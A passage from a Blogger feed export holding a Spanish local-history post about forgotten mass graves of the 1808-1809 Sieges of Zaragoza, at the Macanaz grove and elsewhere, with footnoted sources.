Editorial Librería General. Colección Aragón.&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: helvetica;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: right;&quot;&gt;&lt;span style=&quot;font-family: helvetica;&quot;&gt;Rosa Germán&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://lazaragozaignorada.blogspot.com/feeds/2752926166270811649/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://lazaragozaignorada.blogspot.com/2020/11/la-plaza-de-el-pilar-de-zaragoza.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/2752926166270811649'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/2752926166270811649'/><link rel='alternate' type='text/html' href='https://lazaragozaignorada.blogspot.com/2020/11/la-plaza-de-el-pilar-de-zaragoza.html' title='La plaza de El Pilar de Zaragoza.'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnAP6rvOJ5UgTnG1pZiwJWOMuRjAdFyv9bPVKR1Wo9hI0GrlC2MGtKeZtHF5Nk2BtyaM40OEZgWiXEO1oPrB7D1z5Spo3D9OsJ0Wt5tBDfB6MZN58v3xHPFXlmC9ST3THIhJWCLuZ5Jkn2/s72-c/Plaza_del_Pilar+copia.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3754730700529506539.post-5281075562710981520</id><published>2020-11-09T18:15:00.013+01:00</published><updated>2020-11-09T20:47:32.616+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="CEMENTERIOS"/><category scheme="http://www.blogger.com/atom/ns#" term="EDAD CONTEMPORÁNEA"/><category scheme="http://www.blogger.com/atom/ns#" term="HISTORIA"/><title type='text'>La arboleda de Macanaz, una gran fosa común</title><content type='html'>&lt;div&gt;&lt;p&gt;&amp;nbsp;&lt;span style=&quot;font-family: helvetica; font-size: large;&quot;&gt;&lt;i&gt;&lt;b&gt;¿Sabías que...en plena ciudad hay varias fosas comunes con los restos de miles de zaragozanos?&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2Qv7G3Oxjy707gGhH7T51HZe7VlIww2Z1jDzt-snEKkwlehhBSuQyRXaMW57LAu3cRqJLZafPTMwRQwBp6Er3CMoratgzQj52cTHXul621DIqnMfBIV5cBpsQ2A8Zq9eZKA2JeFMJm93G/s800/Aparcamiento+de+la+Arboleda+de+Macanaz.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;582&quot; data-original-width=&quot;800&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2Qv7G3Oxjy707gGhH7T51HZe7VlIww2Z1jDzt-snEKkwlehhBSuQyRXaMW57LAu3cRqJLZafPTMwRQwBp6Er3CMoratgzQj52cTHXul621DIqnMfBIV5cBpsQ2A8Zq9eZKA2JeFMJm93G/s320/Aparcamiento+de+la+Arboleda+de+Macanaz.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;b&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;line-height: 115%; mso-ansi-language: ES; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin;&quot;&gt;Macanaz y las otras fosas comunes olvidadas&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
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&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;En
estos días en los que la tradición requiere que honremos a los difuntos, queremos
recordar a los miles y miles&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;sup&gt;&lt;span style=&quot;color: red;&quot;&gt;1&lt;/span&gt;&lt;/sup&gt;&lt;/b&gt; de zaragozanos y combatientes en los
Sitios de Zaragoza (1808-1809) que murieron en esa lucha o como consecuencia de
las epidemias derivadas de ella, y que fueron enterrados en masa de forma
anónima, a las afueras de la ciudad, en lugares que hoy forman parte de nuestro
casco urbano.&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;Los más de doscientos
años transcurridos han borrado de la memoria colectiva estos hechos y sólo los
estudiosos del tema y las personas interesadas en él, conocen su existencia,
pues nada hay, ni siquiera un nombre que los recuerde, y plazas, calles y
edificios se levantan actualmente sobre estas fosas comunes. &lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;Y eso a pesar de que en
algunas ocasiones, con motivo de la realización de obras para mejoras del ferrocarril
o para el acondicionamiento de las vías públicas, se hallaron multitud de
huesos humanos que horrorizaron a los trabajadores que los encontraron y que pusieron
en evidencia la existencia de una de ellas, que hasta esos momentos sólo se
conocía por testimonios antiguos: la gran fosa común en la arboleda de Macanaz.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;Como ejemplo, en 1954, siendo
alcalde de la ciudad Luis Gómez Laguna, al realizarse la mejora de los accesos
al Puente de Piedra, se encontraron tantos huesos humanos que las obras se
paralizaron y hasta el alcalde acudió al lugar para comprobarlo &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;in situ&lt;/i&gt;. &lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;Pero no se realizó ningún estudio, los restos
fueron de nuevo cubiertos y las obras siguieron adelante. Cuando finalizaron ni
siquiera se puso una placa conmemorativa que recordara a las más de 10.000 personas
allí enterradas, únicamente, según se cuenta, se colocó un semáforo para
indicar el lugar de los hallazgos, semáforo al que con el paso del tiempo se le
perdió la pista&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;sup&gt;&lt;span style=&quot;color: red;&quot;&gt;2&lt;/span&gt;&lt;/sup&gt;&lt;/b&gt;.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;&amp;nbsp;Desde la Asociación
Cultural &quot;Los Sitios de Zaragoza&quot; se ha hecho difusión de la
existencia de esta fosa y en varias ocasiones se han levantado voces
reivindicando su recuerdo, voces que siempre han sido desoídas. &lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;En 2007, con motivo de la construcción de un
aparcamiento junto a la arboleda de Macanaz y la proximidad de la conmemoración
bicentenario de los Sitios, la asociación realizó un estudio en el que basándose
en testimonios de quienes vivieron los Sitios, como Faustino Casamayor
(1760-1834), se localizó sobre el plano de la ciudad la fosa de Macanaz y la de
la huerta del convento de Santo Domingo, y pidieron a la DGA que se realizaran
prospecciones en el terreno destinado a aparcamiento y que se colocara allí
algún tipo de memorial. &lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;mso-margin-bottom-alt: auto; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;Un año después, en agosto de 2008,
Heraldo de Aragón&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;sup&gt;&lt;span style=&quot;color: red;&quot;&gt;3&lt;/span&gt;&lt;/sup&gt;&lt;/b&gt; se hizo eco de ello y desde esa página
recogía la reclamación de la Asociación de Los Sitios, pero una vez más nada se
hizo.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;mso-margin-bottom-alt: auto; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;Al ser harto conocido el
enfrentamiento que la ciudad sostuvo con las tropas de Napoleón entre 1808-1809
y las decenas de miles de muertos que esa lucha causó, no vamos a incidir aquí
en ello, tampoco vamos a detallar las circunstancias de los enterramientos
masivos que se realizaron tras la toma de la ciudad, pues ese estudio ya se realizó,
simplemente les remitimos a él&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;sup&gt;&lt;span style=&quot;color: red;&quot;&gt;4&lt;/span&gt;&lt;/sup&gt;&lt;/b&gt;, pero eso sí queremos adelantarles los
lugares en los que según dicho estudio se sitúan: &lt;/span&gt;&lt;/p&gt;

&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;&quot;&gt;&lt;span style=&quot;mso-list: Ignore;&quot;&gt;&lt;span style=&quot;font: 7pt &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;Aparcamiento
de la arboleda de Macanaz, “&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;en el espacio
triangular delimitado por la avenida de los Pirineos, y las calles García
Arista y arquitecto La Figuera&lt;/i&gt;”, en el lugar ocupado por la antigua
salitrería&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;sup&gt;&lt;span style=&quot;color: red;&quot;&gt;5&lt;/span&gt;&lt;/sup&gt;&lt;/b&gt;
allí situada. Esta fosa común, por el número de cadáveres allí enterrados,
entre 10.000 y 15.000, se supone que engloba también la arboleda propiamente
dicha, al ser un espacio adecuado debido a la ausencia de árboles en ese
momento, pues fueron talados en el intervalo que separó a los dos Sitios.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHnqMXbCDy9ZJeaFHR3XP98XO8z0Hn8eRzhLJtI0FYtHZ1H5GvIDRKTW7ZopvBnAOnSOBLGhXqppih_w9chs8-AOjG-HvJ2axT6ApWfAL_eZMa9PAObxqQtO32ih5_uIpeev3FQxP9xdbc/s2048/Localizaci%25C3%25B3n+fosa+Macanaz.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1367&quot; data-original-width=&quot;2048&quot; height=&quot;431&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHnqMXbCDy9ZJeaFHR3XP98XO8z0Hn8eRzhLJtI0FYtHZ1H5GvIDRKTW7ZopvBnAOnSOBLGhXqppih_w9chs8-AOjG-HvJ2axT6ApWfAL_eZMa9PAObxqQtO32ih5_uIpeev3FQxP9xdbc/w645-h431/Localizaci%25C3%25B3n+fosa+Macanaz.jpg&quot; width=&quot;645&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ul style=&quot;text-align: justify;&quot;&gt;&lt;li&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;En En la huerta del desaparecido convento de Santo Domingo. “&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;en la actual manzana comprendida entre el Paseo de Echegaray y las
calles Ramón Celma y de Santa Lucía&lt;/i&gt;”. Al parecer el número de enterrados
allí fue menor que en la fosa común de Macanaz, pero aun así se calcula que
fueron varios miles. &lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;

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&lt;![endif]--&gt;&lt;/span&gt; &lt;/span&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkXL_qPNTsTMgZ8rgYtnhwsLPd9ZNkFbOFoQMdcnqFIDtF1QTEoJkSamZ5GUnmNNnmWtzUwI84iKFGY9eL0l69rSSLyNtVZSUAev-5fyveRv_ycnbOW4_os5fqrZ5UlxzNUtaQP5M3CFdn/s2048/Localizaci%25C3%25B3n+fosa+com%25C3%25BAn+Huerta+de+Sto+Domingo.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1367&quot; data-original-width=&quot;2048&quot; height=&quot;425&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkXL_qPNTsTMgZ8rgYtnhwsLPd9ZNkFbOFoQMdcnqFIDtF1QTEoJkSamZ5GUnmNNnmWtzUwI84iKFGY9eL0l69rSSLyNtVZSUAev-5fyveRv_ycnbOW4_os5fqrZ5UlxzNUtaQP5M3CFdn/w636-h425/Localizaci%25C3%25B3n+fosa+com%25C3%25BAn+Huerta+de+Sto+Domingo.jpg&quot; width=&quot;636&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;margin-left: 0cm; mso-add-space: auto; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;Y &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;una fosa común más&lt;/b&gt; de la que
personalmente tuve noticia por nuestro padre, él había leído el &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;Diario de los Sitios&lt;/i&gt; de Casamayor y fue quien,
ya hace mucho tiempo, me comentó que en esa obra el autor relata el hecho.&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp; &lt;/span&gt;Hoy por hoy este &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;Diario&lt;/i&gt; es la única fuente de su existencia que hemos encontrado, pues
no parece haberse realizado ningún estudio sobre ella, quizás porque allí los
enterrados fueron combatientes franceses.&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;
&lt;/b&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;margin-left: 0cm; mso-add-space: auto; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;Casamayor lo
describe así el 15 de junio de 1808, tras el primer ataque realizado a la
ciudad:&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;margin-left: 0cm; mso-add-space: auto; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;“&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;Los
muertos franceses pasaron de 700…&lt;/i&gt;” “&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;…se
tomó la providencia de mandar llevar los cadáveres de los muertos en la defensa
de la Patria al fosal del Santo Hospital… y para los de los franceses se
destinó el hoyo grande&lt;/i&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;sup&gt;&lt;span style=&quot;color: red;&quot;&gt; &lt;/span&gt;&lt;/sup&gt;&lt;/b&gt;&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;que
había entre el camino de Capuchinos y el campo del Sepulcro&lt;/i&gt;.”&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;margin-left: 0cm; mso-add-space: auto; text-align: center;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRjrVE-6MXmShlJBdRI3YyIhktgPbW-Nf7hqogQRQVwZOXbxsgj-QGRDPZIUlOlunswQ1KmRP5-46E3HAmdelJjXLUcNzMhQjtqCoAHX_roIBw-extXOVYigvxaga3TTXmurXeMPgbDH6m/s2048/Localizaci%25C3%25B3n+fosa+com%25C3%25BAn+1808.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1367&quot; data-original-width=&quot;2048&quot; height=&quot;420&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRjrVE-6MXmShlJBdRI3YyIhktgPbW-Nf7hqogQRQVwZOXbxsgj-QGRDPZIUlOlunswQ1KmRP5-46E3HAmdelJjXLUcNzMhQjtqCoAHX_roIBw-extXOVYigvxaga3TTXmurXeMPgbDH6m/w629-h420/Localizaci%25C3%25B3n+fosa+com%25C3%25BAn+1808.jpg&quot; width=&quot;629&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;margin-left: 0cm; mso-add-space: auto; text-align: center;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;Probablemente
ese “&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;hoyo grande&lt;/i&gt;” fuese una dolina&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;sup&gt;&lt;span style=&quot;color: red;&quot;&gt;6&lt;/span&gt;&lt;/sup&gt;&lt;/b&gt;
que ya aparece reflejada en el mapa de la ciudad de 1712, en el que el “hoyo” está
situado muy cerca de la Balsa de los Moros, balsa que bien podría tener el
mismo origen. En el plano francés de 1808 está representado de un tamaño mucho
mayor, un hoyo grande, quizá tras los cien años transcurridos la dolina se
había agrandado de forma natural. &lt;/span&gt;

&lt;p class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;margin-bottom: .0001pt; margin: 0cm; mso-add-space: auto; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;

&lt;div style=&quot;border-bottom: solid windowtext 1.5pt; border: medium none; mso-element: para-border-div; padding: 0cm 0cm 1pt;&quot;&gt;

&lt;p class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;border: medium none; margin-bottom: .0001pt; margin: 0cm; mso-add-space: auto; mso-border-bottom-alt: solid windowtext 1.5pt; mso-padding-alt: 0cm 0cm 1.0pt 0cm; padding: 0cm; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;Hoy
sobre todos estos lugares, antaño destinados a tumbas comunes de personas
anónimas que murieron a causa de una terrible guerra, están instalados parques,
calles, edificios y aparcamientos… la vida sigue.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoListParagraphCxSpLast&quot; style=&quot;border: medium none; margin-left: 0cm; mso-add-space: auto; mso-border-bottom-alt: solid windowtext 1.5pt; mso-padding-alt: 0cm 0cm 1.0pt 0cm; padding: 0cm; text-align: right;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;i&gt;&amp;nbsp; Rosa M. Germán&lt;/i&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoListParagraphCxSpLast&quot; style=&quot;border: medium none; margin-left: 0cm; mso-add-space: auto; mso-border-bottom-alt: solid windowtext 1.5pt; mso-padding-alt: 0cm 0cm 1.0pt 0cm; padding: 0cm; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;

&lt;/div&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; margin-left: 14.2pt; margin-right: 0cm; margin-top: 0cm; margin: 0cm 0cm 0cm 14.2pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 10pt; line-height: 115%;&quot;&gt;1.-
Lejeune, oficial de las tropas francesas que participó en el segundo Sitio
(29-11-1809-21-02-1809), recoge en su obra &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;Los
Sitios de Zaragoza&lt;/i&gt;, que en el segundo Sitio “&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;perecieron 54.000, y más de 8.000 murieron todavía desde el 24 de febrero
hasta el 19 de marzo siguiente&lt;/i&gt;.”&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; margin-left: 14.2pt; margin-right: 0cm; margin-top: 0cm; margin: 0cm 0cm 0cm 14.2pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 10pt; line-height: 115%;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; margin-left: 14.2pt; margin-right: 0cm; margin-top: 0cm; margin: 0cm 0cm 0cm 14.2pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 10pt; line-height: 115%;&quot;&gt;2.-
Aragón TV: &lt;/span&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=G1r_0b9DMak&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 10pt; line-height: 115%;&quot;&gt;https://www.youtube.com/watch?v=G1r_0b9DMak&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; margin-left: 14.2pt; margin-right: 0cm; margin-top: 0cm; margin: 0cm 0cm 0cm 14.2pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 10pt; line-height: 115%;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 10pt; line-height: 115%;&quot;&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; margin-left: 14.2pt; margin-right: 0cm; margin-top: 0cm; margin: 0cm 0cm 0cm 14.2pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 10pt; line-height: 115%;&quot;&gt;3.-
Heraldo de Aragón: &lt;/span&gt;&lt;a href=&quot;https://www.heraldo.es/noticias/aragon/zaragoza/2018/08/11/el-olvido-los-mas-000-valientes-que-yacen-arboleda-macanaz-1261596-2261126.html&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 10pt; line-height: 115%;&quot;&gt;https://www.heraldo.es/noticias/aragon/zaragoza/2018/08/11/el-olvido-los-mas-000-valientes-que-yacen-arboleda-macanaz-1261596-2261126.html&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; margin-left: 14.2pt; margin-right: 0cm; margin-top: 0cm; margin: 0cm 0cm 0cm 14.2pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 10pt; line-height: 115%;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 10pt; line-height: 115%;&quot;&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; margin-left: 14.2pt; margin-right: 0cm; margin-top: 0cm; margin: 0cm 0cm 0cm 14.2pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 10pt; line-height: 115%;&quot;&gt;4.- Asociación
Cultural &quot;Los Sitios de Zaragoza&quot;: &lt;/span&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 10pt; line-height: 115%;&quot;&gt;&lt;a href=&quot;https://www.asociacionlossitios.com/PDFS%20INICIO/B30_La%20fosa%20de%20Macanaz.pdf&quot;&gt;La fosa de Macanaz&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; margin-left: 14.2pt; margin-right: 0cm; margin-top: 0cm; margin: 0cm 0cm 0cm 14.2pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;&lt;/p&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 10pt; line-height: 115%;&quot;&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify; text-indent: 14.2pt;&quot;&gt;&lt;a href=&quot;https://www.asociacionlossitios.com/enterramientosmacanaz.htm&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 10pt; line-height: 115%;&quot;&gt;https://www.asociacionlossitios.com/enterramientosmacanaz.htm&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify; text-indent: 14.2pt;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 10pt; line-height: 115%;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;MsoHyperlink&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 10pt; line-height: 115%;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;

